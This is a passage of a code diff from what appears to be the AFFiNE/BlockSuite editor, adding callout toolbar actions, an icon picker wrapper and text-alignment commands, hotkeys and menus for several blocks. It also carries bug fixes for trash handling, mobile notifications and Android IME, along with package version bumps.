import { DeleteIcon, PaletteIcon, SmileIcon } from '@blocksuite/icons/lit';
import { BlockFlavourIdentifier } from '@blocksuite/std';
import type { ExtensionType } from '@blocksuite/store';
import { cssVarV2 } from '@toeverything/theme/v2';
import { html } from 'lit';
import { repeat } from 'lit/directives/repeat.js';
import { styleMap } from 'lit/directives/style-map.js';
import { IconPickerWrapper } from '../icon-picker-wrapper.js';
const colors = [
'default',
'red',
'orange',
'yellow',
'green',
'teal',
'blue',
'purple',
'grey',
] as const;
const backgroundColorAction = {
id: 'background-color',
label: 'Background Color',
tooltip: 'Change background color',
icon: PaletteIcon(),
run() {
// This will be handled by the content function
},
content(ctx) {
const model = ctx.getCurrentModelByType(CalloutBlockModel);
if (!model) return null;
const updateBackground = (color: string) => {
ctx.store.updateBlock(model, { backgroundColorName: color });
};
return html`
<editor-menu-button
.contentPadding=${'8px'}
.button=${html`
<editor-icon-button
aria-label="background"
.tooltip=${'Background Color'}
>
${PaletteIcon()} ${EditorChevronDown}
</editor-icon-button>
`}
>
<div data-size="large" data-orientation="vertical">
<div class="highlight-heading">Background</div>
${repeat(colors, color => {
const isDefault = color === 'default';
const value = isDefault
? null
: `var(--affine-text-highlight-${color})`;
const displayName = `${color} Background`;
return html`
<editor-menu-action
data-testid="background-${color}"
@click=${() => updateBackground(color)}
>
<affine-text-duotone-icon
style=${styleMap({
'--color': 'var(--affine-text-primary-color)',
'--background': value ?? 'transparent',
})}
></affine-text-duotone-icon>
<span class="label capitalize">${displayName}</span>
</editor-menu-action>
`;
})}
</div>
</editor-menu-button>
`;
},
} satisfies ToolbarAction;
const iconPickerAction = {
id: 'icon-picker',
label: 'Icon Picker',
tooltip: 'Change icon',
icon: SmileIcon(),
run() {
// This will be handled by the content function
},
content(ctx) {
const model = ctx.getCurrentModelByType(CalloutBlockModel);
if (!model) return null;
const handleIconPickerClick = (event: MouseEvent) => {
// Get IconPickerService from the framework
const iconPickerService = ctx.std.getOptional(
IconPickerServiceIdentifier
);
if (!iconPickerService) {
console.warn('IconPickerService not found');
return;
}
// Get the uni-component from the service
const iconPickerComponent = iconPickerService.iconPickerComponent;
// Create props for the icon picker
const props = {
onSelect: (iconData?: IconData) => {
// When iconData is undefined (delete icon), set icon to undefined
ctx.store.updateBlock(model, { icon: iconData });
closeHandler(); // Close the picker after selection
},
onClose: () => {
closeHandler();
},
};
// Create IconPickerWrapper instance
const wrapper = new IconPickerWrapper();
wrapper.iconPickerComponent = iconPickerComponent;
wrapper.props = props;
wrapper.style.position = 'absolute';
wrapper.style.backgroundColor = cssVarV2.layer.background.overlayPanel;
wrapper.style.boxShadow = 'var(--affine-menu-shadow)';
wrapper.style.borderRadius = '8px';
// Create popup target from the clicked element
const target = popupTargetFromElement(event.currentTarget as HTMLElement);
// Create popup
const closeHandler = createPopup(target, wrapper, {
onClose: () => {
// Cleanup if needed
},
});
};
return html`
<editor-icon-button
aria-label="icon-picker"
.tooltip=${'Change Icon'}
@click=${handleIconPickerClick}
>
${SmileIcon()} ${EditorChevronDown}
</editor-icon-button>
`;
},
} satisfies ToolbarAction;
const builtinToolbarConfig = {
actions: [
{
id: 'style',
actions: [backgroundColorAction],
} satisfies ToolbarActionGroup<ToolbarAction>,
{
id: 'icon',
actions: [iconPickerAction],
} satisfies ToolbarActionGroup<ToolbarAction>,
{
placement: ActionPlacement.More,
id: 'c.delete',
label: 'Delete',
icon: DeleteIcon(),
variant: 'destructive',
run(ctx) {
const model = ctx.getCurrentModelByType(CalloutBlockModel);
if (!model) return;
ctx.store.deleteBlock(model);
// Clears
ctx.select('note');
ctx.reset();
},
} satisfies ToolbarAction,
],
} as const satisfies ToolbarModuleConfig;
export const createBuiltinToolbarConfigExtension = (
flavour: string
): ExtensionType[] => {
return [
ToolbarModuleExtension({
id: BlockFlavourIdentifier(flavour),
config: builtinToolbarConfig,
}),
];
};

View File

@@ -1,14 +1,14 @@
import { CalloutBlockComponent } from './callout-block';
import { EmojiMenu } from './emoji-menu';
import { IconPickerWrapper } from './icon-picker-wrapper';
export function effects() {
customElements.define('affine-callout', CalloutBlockComponent);
customElements.define('affine-emoji-menu', EmojiMenu);
customElements.define('icon-picker-wrapper', IconPickerWrapper);
}
declare global {
interface HTMLElementTagNameMap {
'affine-callout': CalloutBlockComponent;
'affine-emoji-menu': EmojiMenu;
'icon-picker-wrapper': IconPickerWrapper;
}
}

View File

@@ -1,34 +0,0 @@
import { WithDisposable } from '@blocksuite/global/lit';
import data from '@emoji-mart/data';
import { Picker } from 'emoji-mart';
import { html, LitElement, type PropertyValues } from 'lit';
import { property, query } from 'lit/decorators.js';
export class EmojiMenu extends WithDisposable(LitElement) {
override firstUpdated(props: PropertyValues) {
const result = super.firstUpdated(props);
const picker = new Picker({
data,
onEmojiSelect: this.onEmojiSelect,
autoFocus: true,
theme: this.theme,
});
this.emojiMenu.append(picker as unknown as Node);
return result;
}
@property({ attribute: false })
accessor onEmojiSelect: (data: any) => void = () => {};
@property({ attribute: false })
accessor theme: 'light' | 'dark' = 'light';
@query('.affine-emoji-menu')
accessor emojiMenu!: HTMLElement;
override render() {
return html`<div class="affine-emoji-menu"></div>`;
}
}

View File

@@ -0,0 +1,52 @@
import type { IconData } from '@blocksuite/affine-shared/services';
import type { UniComponent } from '@blocksuite/affine-shared/types';
import { ShadowlessElement } from '@blocksuite/std';
import { type Signal } from '@preact/signals-core';
import { html, type TemplateResult } from 'lit';
import { type StyleInfo, styleMap } from 'lit/directives/style-map.js';
// Copy of renderUniLit from callout-block.ts
const renderUniLit = <Props, Expose extends NonNullable<unknown>>(
uni: UniComponent<Props, Expose> | undefined,
props?: Props,
options?: {
ref?: Signal<Expose | undefined>;
style?: Readonly<StyleInfo>;
class?: string;
}
): TemplateResult => {
return html` <uni-lit
.uni="${uni}"
.props="${props}"
.ref="${options?.ref}"
style=${options?.style ? styleMap(options?.style) : ''}
></uni-lit>`;
};
export interface IconPickerWrapperProps {
onSelect?: (iconData?: IconData) => void;
onClose?: () => void;
}
export class IconPickerWrapper extends ShadowlessElement {
iconPickerComponent?: UniComponent<IconPickerWrapperProps, any>;
props?: IconPickerWrapperProps;
constructor() {
super();
}
override render() {
if (!this.iconPickerComponent) {
return html``;
}
return renderUniLit(this.iconPickerComponent, this.props);
}
}
declare global {
interface HTMLElementTagNameMap {
'icon-picker-wrapper': IconPickerWrapper;
}
}

View File

@@ -8,6 +8,7 @@ import { literal } from 'lit/static-html.js';
import { CalloutKeymapExtension } from './callout-keymap';
import { calloutSlashMenuConfig } from './configs/slash-menu';
import { createBuiltinToolbarConfigExtension } from './configs/toolbar';
import { effects } from './effects';
export class CalloutViewExtension extends ViewExtensionProvider {
@@ -25,6 +26,7 @@ export class CalloutViewExtension extends ViewExtensionProvider {
BlockViewExtension('affine:callout', literal`affine-callout`),
CalloutKeymapExtension,
SlashMenuConfigExtension('affine:callout', calloutSlashMenuConfig),
...createBuiltinToolbarConfigExtension('affine:callout'),
]);
}
}

View File

@@ -22,7 +22,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -48,5 +48,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -18,7 +18,7 @@
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/data-view": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -21,7 +21,7 @@
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/data-view": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@emotion/css": "^11.13.5",
@@ -48,5 +48,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -372,6 +372,7 @@ export class DatabaseBlockComponent extends CaptionedBlockComponent<DatabaseBloc
handleMobileEditing() {
if (!IS_MOBILE) return;
let notifyClosed = true;
const handler = () => {
if (
!this.std
@@ -379,7 +380,8 @@ export class DatabaseBlockComponent extends CaptionedBlockComponent<DatabaseBloc
.getFlag('enable_mobile_database_editing')
) {
const notification = this.std.getOptional(NotificationProvider);
if (notification) {
if (notification && notifyClosed) {
notifyClosed = false;
notification.notify({
title: html`<div
style=${styleMap({
@@ -390,16 +392,15 @@ export class DatabaseBlockComponent extends CaptionedBlockComponent<DatabaseBloc
experimental features, or edit it in desktop mode.
</div>`,
accent: 'warning',
onClose: () => {
notifyClosed = true;
},
});
}
this.removeEventListener('click', handler);
}
};
this.addEventListener('click', handler);
this.disposables.add(() => {
this.removeEventListener('click', handler);
});
this.disposables.addFromEvent(this, 'click', handler);
}
private readonly dataViewRootLogic = lazy(

View File

@@ -39,5 +39,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -20,7 +20,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-edgeless-toolbar": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -43,5 +43,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -20,7 +20,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -49,5 +49,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -323,7 +323,8 @@ export class EmbedLinkedDocBlockComponent extends EmbedBlockComponent<EmbedLinke
private readonly _renderEmbedView = () => {
const linkedDoc = this.linkedDoc;
const isDeleted = !linkedDoc;
const trash = linkedDoc?.meta?.trash;
const isDeleted = trash || !linkedDoc;
const isLoading = this._loading;
const isError = this.isError;
const isEmpty = this._isDocEmpty() && this.isBannerEmpty;
@@ -521,11 +522,6 @@ export class EmbedLinkedDocBlockComponent extends EmbedBlockComponent<EmbedLinke
);
this._setDocUpdatedAt();
this.disposables.add(
this.store.workspace.slots.docListUpdated.subscribe(() => {
this._setDocUpdatedAt();
})
);
if (this._referenceToNode) {
this._linkedDocMode = this.model.props.params?.mode ?? 'page';
@@ -554,6 +550,13 @@ export class EmbedLinkedDocBlockComponent extends EmbedBlockComponent<EmbedLinke
})
);
this.disposables.add(
this.store.workspace.slots.docListUpdated.subscribe(() => {
this._setDocUpdatedAt();
this.refreshData();
})
);
this._trackCitationDeleteEvent();
}

View File

@@ -357,10 +357,14 @@ export class EmbedSyncedDocBlockComponent extends EmbedBlockComponent<EmbedSynce
};
refreshData = () => {
this._load().catch(e => {
console.error(e);
this._error = true;
});
this._load()
.then(() => {
this._isEmptySyncedDoc = isEmptyDoc(this.syncedDoc, this.editorMode);
})
.catch(e => {
console.error(e);
this._error = true;
});
};
title$ = computed(() => {
@@ -445,7 +449,8 @@ export class EmbedSyncedDocBlockComponent extends EmbedBlockComponent<EmbedSynce
this._cycle = false;
const syncedDoc = this.syncedDoc;
if (!syncedDoc) {
const trash = syncedDoc?.meta?.trash;
if (trash || !syncedDoc) {
this._deleted = true;
this._loading = false;
return;
@@ -521,6 +526,7 @@ export class EmbedSyncedDocBlockComponent extends EmbedBlockComponent<EmbedSynce
this.disposables.add(
this.store.workspace.slots.docListUpdated.subscribe(() => {
this._setDocUpdatedAt();
this.refreshData();
})
);

View File

@@ -20,7 +20,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -49,5 +49,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -19,7 +19,7 @@
"@blocksuite/affine-widget-edgeless-toolbar": "workspace:*",
"@blocksuite/affine-widget-frame-title": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -19,7 +19,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -1,4 +1,5 @@
import { ImageBlockModel } from '@blocksuite/affine-model';
import { updateBlockAlign } from '@blocksuite/affine-block-note';
import { ImageBlockModel, TextAlign } from '@blocksuite/affine-model';
import {
ActionPlacement,
blockCommentToolbarButton,
@@ -12,6 +13,9 @@ import {
DeleteIcon,
DownloadIcon,
DuplicateIcon,
TextAlignCenterIcon,
TextAlignLeftIcon,
TextAlignRightIcon,
} from '@blocksuite/icons/lit';
import { BlockFlavourIdentifier } from '@blocksuite/std';
import type { ExtensionType } from '@blocksuite/store';
@@ -51,7 +55,55 @@ const builtinToolbarConfig = {
},
},
{
id: 'c.comment',
id: 'c.1.align-left',
tooltip: 'Align left',
icon: TextAlignLeftIcon(),
run(ctx) {
const block = ctx.getCurrentBlockByType(ImageBlockComponent);
if (block) {
ctx.chain
.pipe(updateBlockAlign, {
textAlign: TextAlign.Left,
selectedBlocks: [block],
})
.run();
}
},
},
{
id: 'c.2.align-center',
tooltip: 'Align center',
icon: TextAlignCenterIcon(),
run(ctx) {
const block = ctx.getCurrentBlockByType(ImageBlockComponent);
if (block) {
ctx.chain
.pipe(updateBlockAlign, {
textAlign: TextAlign.Center,
selectedBlocks: [block],
})
.run();
}
},
},
{
id: 'c.3.align-right',
tooltip: 'Align right',
icon: TextAlignRightIcon(),
run(ctx) {
const block = ctx.getCurrentBlockByType(ImageBlockComponent);
if (block) {
ctx.chain
.pipe(updateBlockAlign, {
textAlign: TextAlign.Right,
selectedBlocks: [block],
})
.run();
}
},
},
{
id: 'd.comment',
...blockCommentToolbarButton,
},
{

View File

@@ -143,6 +143,15 @@ export class ImageBlockComponent extends CaptionedBlockComponent<ImageBlockModel
width: '100%',
});
const alignItemsStyleMap = styleMap({
alignItems:
this.model.props.textAlign$.value === 'left'
? 'flex-start'
: this.model.props.textAlign$.value === 'right'
? 'flex-end'
: undefined,
});
const resovledState = this.resourceController.resolveStateWith({
loadingIcon: LoadingIcon({
strokeColor: cssVarV2('button/pureWhiteText'),
@@ -162,6 +171,7 @@ export class ImageBlockComponent extends CaptionedBlockComponent<ImageBlockModel
html`<affine-page-image
.block=${this}
.state=${resovledState}
style="${alignItemsStyleMap}"
></affine-page-image>`,
() =>
html`<affine-image-fallback-card

View File

@@ -19,7 +19,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -46,5 +46,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -18,7 +18,7 @@
"@blocksuite/affine-rich-text": "workspace:*",
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -46,5 +46,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -150,6 +150,10 @@ export class ListBlockComponent extends CaptionedBlockComponent<ListBlockModel>
const listIcon = getListIcon(model, !collapsed, _onClickIcon);
const textAlignStyle = styleMap({
textAlign: this.model.props.textAlign$?.value,
});
const children = html`<div
class="affine-block-children-container"
style=${styleMap({
@@ -161,7 +165,7 @@ export class ListBlockComponent extends CaptionedBlockComponent<ListBlockModel>
</div>`;
return html`
<div class=${'affine-list-block-container'}>
<div class=${'affine-list-block-container'} style="${textAlignStyle}">
<div
class=${classMap({
'affine-list-rich-text-wrapper': true,

View File

@@ -22,7 +22,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@lit/context": "^1.1.2",
@@ -49,5 +49,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -8,3 +8,4 @@ export { indentBlock } from './indent-block.js';
export { indentBlocks } from './indent-blocks.js';
export { selectBlock } from './select-block.js';
export { selectBlocksBetween } from './select-blocks-between.js';
export { updateBlockAlign } from './update-block-align.js';

View File

@@ -0,0 +1,53 @@
import type { TextAlign } from '@blocksuite/affine-model';
import {
getBlockSelectionsCommand,
getImageSelectionsCommand,
getSelectedBlocksCommand,
getTextSelectionCommand,
} from '@blocksuite/affine-shared/commands';
import {
type BlockComponent,
type Command,
TextSelection,
} from '@blocksuite/std';
type UpdateBlockAlignConfig = {
textAlign: TextAlign;
selectedBlocks?: BlockComponent[];
};
export const updateBlockAlign: Command<UpdateBlockAlignConfig> = (
ctx,
next
) => {
let { std, textAlign, selectedBlocks } = ctx;
if (!selectedBlocks) {
const [result, ctx] = std.command
.chain()
.tryAll(chain => [
chain.pipe(getTextSelectionCommand),
chain.pipe(getBlockSelectionsCommand),
chain.pipe(getImageSelectionsCommand),
])
.pipe(getSelectedBlocksCommand, { types: ['text', 'block', 'image'] })
.run();
if (result) {
selectedBlocks = ctx.selectedBlocks;
}
}
if (!selectedBlocks || selectedBlocks.length === 0) return false;
selectedBlocks.forEach(block => {
std.store.updateBlock(block.model, { textAlign });
});
const selectionManager = std.host.selection;
const textSelection = selectionManager.find(TextSelection);
if (!textSelection) {
return false;
}
selectionManager.setGroup('note', [textSelection]);
return next();
};

View File

@@ -4,9 +4,15 @@ import {
textFormatConfigs,
} from '@blocksuite/affine-inline-preset';
import {
type TextAlignConfig,
textAlignConfigs,
type TextConversionConfig,
textConversionConfigs,
} from '@blocksuite/affine-rich-text';
import {
getSelectedModelsCommand,
getTextSelectionCommand,
} from '@blocksuite/affine-shared/commands';
import { isInsideBlockByFlavour } from '@blocksuite/affine-shared/utils';
import {
type SlashMenuActionItem,
@@ -17,7 +23,7 @@ import {
import { HeadingsIcon } from '@blocksuite/icons/lit';
import { BlockSelection } from '@blocksuite/std';
import { updateBlockType } from '../commands';
import { updateBlockAlign, updateBlockType } from '../commands';
import { tooltips } from './tooltips';
let basicIndex = 0;
@@ -60,6 +66,10 @@ const noteSlashMenuConfig: SlashMenuConfig = {
createConversionItem(config, `1_List@${index++}`)
),
...textAlignConfigs.map((config, index) =>
createAlignItem(config, `2_Align@${index++}`)
),
...textFormatConfigs
.filter(i => !['Code', 'Link'].includes(i.name))
.map((config, index) =>
@@ -89,6 +99,26 @@ function createConversionItem(
};
}
function createAlignItem(
config: TextAlignConfig,
group?: SlashMenuItem['group']
): SlashMenuActionItem {
const { textAlign, name, icon } = config;
return {
name,
group,
icon,
action: ({ std }) => {
std.command
.chain()
.pipe(getTextSelectionCommand)
.pipe(getSelectedModelsCommand, { types: ['text'] })
.pipe(updateBlockAlign, { textAlign })
.run();
},
};
}
function createTextFormatItem(
config: TextFormatConfig,
group?: SlashMenuItem['group']

View File

@@ -5,7 +5,10 @@ import {
NoteBlockSchema,
ParagraphBlockModel,
} from '@blocksuite/affine-model';
import { textConversionConfigs } from '@blocksuite/affine-rich-text';
import {
textAlignConfigs,
textConversionConfigs,
} from '@blocksuite/affine-rich-text';
import {
focusBlockEnd,
focusBlockStart,
@@ -36,6 +39,7 @@ import {
indentBlocks,
selectBlock,
selectBlocksBetween,
updateBlockAlign,
updateBlockType,
} from './commands';
import { moveBlockConfigs } from './move-block';
@@ -157,6 +161,36 @@ class NoteKeymap {
);
};
private readonly _bindTextAlignHotKey = () => {
return textAlignConfigs.reduce(
(acc, item) => {
const keymap = item.hotkey!.reduce(
(acc, key) => {
return {
...acc,
[key]: ctx => {
ctx.get('defaultState').event.preventDefault();
const [result] = this._std.command
.chain()
.pipe(updateBlockAlign, { textAlign: item.textAlign })
.run();
return result;
},
};
},
{} as Record<string, UIEventHandler>
);
return {
...acc,
...keymap,
};
},
{} as Record<string, UIEventHandler>
);
};
private _focusBlock: BlockComponent | null = null;
private readonly _getClosestNoteByBlockId = (blockId: string) => {
@@ -568,6 +602,7 @@ class NoteKeymap {
...this._bindMoveBlockHotKey(),
...this._bindQuickActionHotKey(),
...this._bindTextConversionHotKey(),
...this._bindTextAlignHotKey(),
Tab: ctx => {
const [success] = this.std.command.exec(indentBlocks);

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -264,6 +264,10 @@ export class ParagraphBlockComponent extends CaptionedBlockComponent<ParagraphBl
`;
}
const textAlignStyle = styleMap({
textAlign: this.model.props.textAlign$?.value,
});
const children = html`<div
class="affine-block-children-container"
style=${styleMap({
@@ -288,6 +292,7 @@ export class ParagraphBlockComponent extends CaptionedBlockComponent<ParagraphBl
'affine-paragraph-block-container': true,
'highlight-comment': this.isCommentHighlighted,
})}
style="${textAlignStyle}"
data-has-collapsed-siblings="${collapsedSiblings.length > 0}"
>
<div

View File

@@ -24,7 +24,7 @@ import {
getPrevContentBlock,
matchModels,
} from '@blocksuite/affine-shared/utils';
import { IS_MOBILE } from '@blocksuite/global/env';
import { IS_ANDROID, IS_MOBILE } from '@blocksuite/global/env';
import { BlockSelection, type EditorHost } from '@blocksuite/std';
import type { BlockModel, Text } from '@blocksuite/store';
@@ -79,6 +79,28 @@ export function mergeWithPrev(editorHost: EditorHost, model: BlockModel) {
index: lengthBeforeJoin,
length: 0,
}).catch(console.error);
// due to some IME like Microsoft Swift IME on Android will reset range after join text,
// for example:
//
// $ZERO_WIDTH_FOR_EMPTY_LINE <--- p1
// |aaa <--- p2
//
// after pressing backspace, during beforeinput event, the native range is (p1, 1) -> (p2, 0)
// and after browser and IME handle the event, the native range is (p1, 1) -> (p1, 1)
//
// a|aa <--- p1
//
// so we need to set range again after join text.
if (IS_ANDROID) {
setTimeout(() => {
asyncSetInlineRange(editorHost.std, prevBlock, {
index: lengthBeforeJoin,
length: 0,
}).catch(console.error);
});
}
return true;
}

View File

@@ -38,7 +38,7 @@
"@blocksuite/affine-widget-edgeless-toolbar": "workspace:*",
"@blocksuite/data-view": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -67,5 +67,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -8,7 +8,10 @@ import {
notifyDocCreated,
promptDocTitle,
} from '@blocksuite/affine-block-embed';
import { updateBlockType } from '@blocksuite/affine-block-note';
import {
updateBlockAlign,
updateBlockType,
} from '@blocksuite/affine-block-note';
import type { HighlightType } from '@blocksuite/affine-components/highlight-dropdown-menu';
import { toast } from '@blocksuite/affine-components/toast';
import { EditorChevronDown } from '@blocksuite/affine-components/toolbar';
@@ -23,8 +26,12 @@ import {
import {
EmbedLinkedDocBlockSchema,
EmbedSyncedDocBlockSchema,
type TextAlign,
} from '@blocksuite/affine-model';
import { textConversionConfigs } from '@blocksuite/affine-rich-text';
import {
textAlignConfigs,
textConversionConfigs,
} from '@blocksuite/affine-rich-text';
import {
copySelectedModelsCommand,
deleteSelectedModelsCommand,
@@ -46,6 +53,7 @@ import {
ActionPlacement,
blockCommentToolbarButton,
} from '@blocksuite/affine-shared/services';
import { getMostCommonValue } from '@blocksuite/affine-shared/utils';
import { tableViewMeta } from '@blocksuite/data-view/view-presets';
import {
CopyIcon,
@@ -130,6 +138,64 @@ const conversionsActionGroup = {
},
} as const satisfies ToolbarActionGenerator;
const alignActionGroup = {
id: 'b.align',
when: ({ chain }) => isFormatSupported(chain).run()[0],
generate({ chain }) {
const [ok, { selectedModels = [] }] = chain
.tryAll(chain => [
chain.pipe(getTextSelectionCommand),
chain.pipe(getBlockSelectionsCommand),
])
.pipe(getSelectedModelsCommand, { types: ['text', 'block'] })
.run();
if (!ok) return null;
const alignment =
textAlignConfigs.find(
({ textAlign }) =>
textAlign ===
getMostCommonValue(
selectedModels.map(
({ props }) => props as { textAlign?: TextAlign }
),
'textAlign'
)
) ?? textAlignConfigs[0];
const update = (textAlign: TextAlign) => {
chain.pipe(updateBlockAlign, { textAlign }).run();
};
return {
content: html`
<editor-menu-button
.contentPadding="${'8px'}"
.button=${html`
<editor-icon-button aria-label="Align" .tooltip="${'Align'}">
${alignment.icon} ${EditorChevronDown}
</editor-icon-button>
`}
>
<div data-size="large" data-orientation="vertical">
${repeat(
textAlignConfigs,
item => item.name,
({ textAlign, name, icon }) => html`
<editor-menu-action
aria-label=${name}
@click=${() => update(textAlign)}
>
${icon}<span class="label">${name}</span>
</editor-menu-action>
`
)}
</div>
</editor-menu-button>
`,
};
},
} as const satisfies ToolbarActionGenerator;
const inlineTextActionGroup = {
id: 'b.inline-text',
when: ({ chain }) => isFormatSupported(chain).run()[0],
@@ -291,6 +357,7 @@ const turnIntoLinkedDoc = {
export const builtinToolbarConfig = {
actions: [
conversionsActionGroup,
alignActionGroup,
inlineTextActionGroup,
highlightActionGroup,
turnIntoDatabase,

View File

@@ -19,7 +19,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -46,5 +46,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -11,7 +11,7 @@ import {
getBoundWithRotation,
intersects,
} from '@blocksuite/global/gfx';
import type { BlockStdScope } from '@blocksuite/std';
import { type BlockStdScope, SurfaceSelection } from '@blocksuite/std';
import type {
GfxCompatibleInterface,
GridManager,
@@ -298,7 +298,10 @@ export class DomRenderer {
viewportBounds,
zoom
);
Object.assign(domElement.style, geometricStyles);
const zIndexStyle = {
'z-index': this.layerManager.getZIndex(elementModel),
};
Object.assign(domElement.style, geometricStyles, zIndexStyle);
Object.assign(domElement.style, PLACEHOLDER_RESET_STYLES);
// Clear classes specific to shapes, if applicable
@@ -335,7 +338,10 @@ export class DomRenderer {
zoom
);
const opacityStyle = getOpacity(elementModel);
Object.assign(domElement.style, geometricStyles, opacityStyle);
const zIndexStyle = {
'z-index': this.layerManager.getZIndex(elementModel),
};
Object.assign(domElement.style, geometricStyles, opacityStyle, zIndexStyle);
this._renderElement(elementModel, domElement);
}
@@ -384,6 +390,36 @@ export class DomRenderer {
this.refresh();
})
);
// Workaround for the group rendering reactive update when selection changed
let lastSet = new Set<string>();
this._disposables.add(
this.std.selection.filter$(SurfaceSelection).subscribe(selections => {
const groupRelatedSelection = new Set(
selections.flatMap(s =>
s.elements.flatMap(e => {
const element = surfaceModel.getElementById(e);
if (
element &&
(element.type === 'group' || element.groups.length !== 0)
) {
return [element.id, ...element.groups.map(g => g.id)];
}
return [];
})
)
);
if (lastSet.symmetricDifference(groupRelatedSelection).size !== 0) {
lastSet.union(groupRelatedSelection).forEach(g => {
this._markElementDirty(g, UpdateType.ELEMENT_UPDATED);
});
this.refresh();
}
lastSet = groupRelatedSelection;
})
);
}
addOverlay = (overlay: Overlay) => {

View File

@@ -20,7 +20,7 @@
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/data-view": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
